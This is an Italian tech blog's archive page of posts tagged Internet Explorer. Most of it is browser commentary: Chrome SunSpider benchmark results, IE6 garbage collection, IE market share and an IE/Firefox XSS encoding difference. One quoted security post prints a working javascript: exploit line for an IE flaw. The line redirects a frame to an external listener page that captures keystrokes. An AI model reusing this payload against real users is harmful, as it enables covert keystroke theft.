Paranoia is a virtue
Post con tag internet explorer
Google Chrome – Testiamo le performance
17 set
Si sta molto leggendo in giro in merito al “nuovo” nato di casa Google che in questi giorni compie un anno di vita.
Un anno di sviluppo e 3 major release alle spalle, certo la numerazione conta poco, ma non si può certo dire che in 12 mesi di cose non ne siano cambiate anzi.
- performance (che sviscererò in fondo al post)
- l’HTML 5 con i tag audio e video
- la rinnovata omnibox
- i temi
- il sistema di prevenzione XSS e …
- le centinaia di bugfix
… vorrei porre l’accento su di una notizia quasi passata in sordina (penso volutamente) rispetto al clamore della nuova release e cioè la possibilità di creare estensioni per Chrome.
Data la poca maturità della cosa e visti i rudimentali esempi, è comprensibile l’aver evitato i riflettori, ma dettagli come questo sono stati la fortuna di Firefox, basti pensare al numero di addon presenti per questo browser, ed il fatto che Mountain View si stia muovendo in questa direzione mi fa ben sperare per il futuro di Chrome che comincia ad avere le carte in regola per essere un ottimo (e velocissimo) outsider.
Visto che ci siamo parliamo di performance (dopo tutto il titolo prometteva questo).
La pista che ho scelto (permettetemi il paragone automobilistico) per la gara è SunSpider che a mio avviso è quanto di più vicino ad un tracciato cittadino si possa trovare tra i vari benchmark.
Il motivo è presto detto, SunSpider non si limita a caricare gli script e a misurare i tempi di load e parsing, ma utilizza le librerie in esame in una vera e propria test unit, in barba a tutti gli scettici del caso 
Se andate all’indirizzo http://www2.webkit.org/perf/sunspider-0.9/sunspider.html e cliccate su Start Now! vi troverete dritti dritti dentro al test, lasciatelo pure arrivare fino in fondo.
Al termine vi troverete una schermata simile a quella mostrata qui sopra con una textbox vuota e il risultato del test (nel mio caso circa 627ms).
Ora ripetete il tutto con un altro browser e copiate la url del test nella sopra citata textbox dopo un pò di conteggi ecco che vi verranno proposti i risultati comparati punto per punto. Di seguito i miei risultati:
Firefox Vs. Chrome
=============================================================================
** TOTAL **: 3.90x as fast 2448.8ms +/- 9.5% 627.4ms +/- 5.8% * significant *
=============================================================================
Internet Explorer Vs. Chrome
=============================================================================
** TOTAL **: 8.09x as fast 5077.0ms +/- 4.7% 627.4ms +/- 5.8% * significant *
=============================================================================
Come potete vedere comparando il nuovo Chrome con i suoi diretti concorrenti possiamo valutare risultati che hanno dell’incredibile
- circa 4 volte più veloce di Firefox
- circa 8 volte più veloce di Interner Explorer… da che si deduce tra l’altro che Firefox è 2 volte più veloce di IE
Di seguito ho riportato i link dei test e le versioni dei browser che ho comparato così che potrete confrontarli magari con i vostri risultati. (Fate tasto destro con il mouse sopra al link per copiarlo ed incollarlo nell’apposita form su SunSpider)
Che altro aggiungere? I numeri parlano da soli 
PS: Appena metto mano sul Mac sarà mia premura aggiornare il post con i dati di Safari
Ghost Busters: Zero-day flaw haunts Internet Explorer
25 lug
This way, we bypass IE’s protection and set our desired location without any problems. And the final exploit goes like this:
javascript:x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);
What caballero-listener does is just focusing itself, so it can catches onkeydown events.. there are a lot of ways of making the same thing in more stealth mode.
Vi fornisco direttamente il digest
IE8.0 US-ASCII and Other Stuff
12 mag
David Ross had a good blog post a few weeks back about how IE8.0 is no longer vulnerable to the US-ASCII encoding attack. For those of you who don’t know what I’m talking about you can find an example of it on the charsets page. Looks like both of the browser manufacturers are stepping up their game a little for the next version of the browsers to hit the market.
On a side note, and something I’ve been meaning to post for a while now, I’ve found a discrepancy between IE and Firefox that I think is worth noting. Most of the time this isn’t an issue but most web-pages decode Unicode inputs, so the fact that Firefox automatically encodes every GET parameter with Unicode is not a big deal. However, if the page doesn’t do any conversions, but rather echos the data back exactly as it was seen Firefox isn’t vulnerable. However, Internet Explorer is – because it doesn’t convert " into %22 for instance.
It’s a subtle difference, and only effects certain websites, but it was big enough of an issue that I had to switch testing methods because Firefox wasn’t giving me the results I was expecting – even though I could see the vulnerability using a proxy. I don’t know what percentage of pages do this, but it will lead to a lot of false negatives in scanners that are looking for XSS injection, if they follow the RFC. Net result for me? Firefox = less good for testing and IE = less secure.
Meanwhile, not that anyone cares, but it turns out that blogging is going to make me die an unfortunate and unglamorous early death. And I always thought it was because it was going to be due to an explosion. You people totally owe me. I expect payment in the afterlife.
[Via - http://ha.ckers.org/blog/20080407/ie80-us-ascii-and-other-stuff/]
Garbage Collection in IE6
8 mar
He tested this with a benchmarking function which creates 5000 object literals with random properties, and then sorts them.
The following results show the mean execution time of the create-and-sort test as O increases for constant P=50 on Firefox 2.0 (red) and IE6 (blue) on the same computer.
What can you do about this?
a) Ask your IE 6 users to patch up
b) Ask your IE 6 users to upgrade to IE 7
c) Ask your IE 6 users to change browser
d) Optimize your application by reducing code size and finding the balancing point between improved performance from keeping state local and keeping your working set to a manageable size. Always explicitly dispose objects when they are no longer needed by removing event handlers and dereferencing properties.
Dalla serie “il diavolo fà le pentole ma non i coperchi” ecco un post a prova di quello che ho detto poco fà
qui sotto
Se Microsoft mettesse la metà, ma che dico, 1/3 via, del tempo che impiega a fare tool di sviluppo nel progettare degli strumenti migliori lato utonto (notare non è un errore), allora si che mi toglierei il cappello davanti ai suoi OS.
Logica apprezzabile, se faccio un prodotto per lo sviluppo software che non è appetibile dal mercato degli sviluppatori la fuga verso Xcode o Eclipse è assicurata, ponendo quindi le basi per far vacillare il miracoloso circolo vizioso del mondo M$: Programmi -> Utenza -> Sistemi Operativi -> Sviluppatori -> Programmi …
Devo dare atto che il buon vecchio Brunetti anche a distanza di anni non si smentisce MAI!
Nel mentre … il cappello me lo tengo ben saldo in testa, pronto per essere tolto solo al cospetto di sua maestà Leopard (aka Vista 2.0)
Quanti sono per l’opzione c) alzino la mano!
Browser war – Se questo è un dato
23 nov
Pochi commenti a questa notizia, ma IE scende sotto quota 90%, mi sento come quando avevo un senso si euforia per la crescita del mercato ICT in Italia, +0,01% WoW:shock: mamma mia che “crescita” Sta di fatto che un browser, paradossalmente definito giovane, comincia ora a rosicchiare fette di un mercato da troppo tempo monopolizzato, e si sà, la concorrenza porta sempre vantaggi per tutti:wink:!
PI – Browser war, IE sotto il 90%
PS: intanto prova Firefox e dimmi che ne pensi
